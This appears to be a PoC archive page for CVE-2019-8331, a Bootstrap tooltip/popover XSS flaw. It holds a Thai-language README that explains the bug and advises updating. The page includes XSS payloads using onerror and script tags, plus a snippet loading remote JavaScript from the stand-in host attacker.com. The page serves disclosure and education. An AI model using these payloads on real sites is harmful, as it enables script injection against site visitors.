Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1359 CNY

100%

CVE-2019-8331 PoC — Bootstrap 跨站脚本漏洞

Source
Associated Vulnerability
Title: Bootstrap 跨站脚本漏洞 (CVE-2019-8331)
Description:In Bootstrap before 3.4.1 and 4.3.x before 4.3.1, XSS is possible in the tooltip or popover data-template attribute.
Description
ช่องโหว่ CVE-2019-8331
Readme
#### [Eng](https://github.com/Thampakon/CVE-2019-8331/blob/main/READMEENG.md)
## อธิบาย

**CVE-2019-8331 เป็นช่องโหว่ด้านความปลอดภัยประเภท Cross-Site Scripting (XSS) พบใน Bootstrap ซึ่งเป็นไลบรารี JavaScript ที่ใช้กันอย่างแพร่หลายในการพัฒนาเว็บไซต์และแอปพลิเคชันมือถือ ช่องโหว่นี้เกิดขึ้นเนื่องจาก Bootstrap ไม่ได้กรองข้อมูลอย่างเหมาะสมที่ส่งมากับแอตทริบิวต์ data-template ขององค์ประกอบ tooltip หรือ popover ทำให้ผู้โจมตีสามารถแทรกโค้ดที่เป็นอันตรายลงในหน้าเว็บได้**

**การโจมตีนี้สามารถเกิดขึ้นได้หากผู้โจมตีสามารถควบคุมข้อมูลที่จะแสดงเป็น tooltip หรือ popover ได้ เมื่อผู้ใช้เปิดใช้งาน tooltip หรือ popover โค้ดที่เป็นอันตรายจะถูกแทรกลงในหน้าเว็บและอาจถูกเรียกใช้โดยเบราว์เซอร์ของผู้ใช้**

**ช่องโหว่นี้ได้รับการแก้ไขใน Bootstrap เวอร์ชัน 4.3.1 และ 5.0.0-beta2 ผู้ดูแลระบบควรอัปเดต Bootstrap เวอร์ชันที่ได้รับผลกระทบเพื่อแก้ไขช่องโหว่นี้**

**รายละเอียดเพิ่มเติมเกี่ยวกับช่องโหว่ CVE-2019-8331:**

* **ประเภท: XSS**
* **ระดับความรุนแรง: กลาง**
* **ผลกระทบ: แทรก Code อัตราย**
* **ตำแหน่ง: Client**
* **วิธีแก้: อัพเดต Bootstrap**

```
<x data-toggle="tooltip" data-template="<img src=x onerror=alert(1)>">XSS</x>
<x data-toggle="tooltip" data-html="true" title='<script>alert(1)</script>'>XSS</x>
<x data-toggle="tooltip" data-html="true" data-content='<script>alert(1)</script>'>XSS</x>

<script>
  var script = document.createElement("script");
  script.src = "https://attacker.com/malicious.js";
  document.body.appendChild(script);
</script>
```

## Credit
[BlackFan](https://gist.github.com/BlackFan/e968b5209637952cca1580dc8ffdfde6)
File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →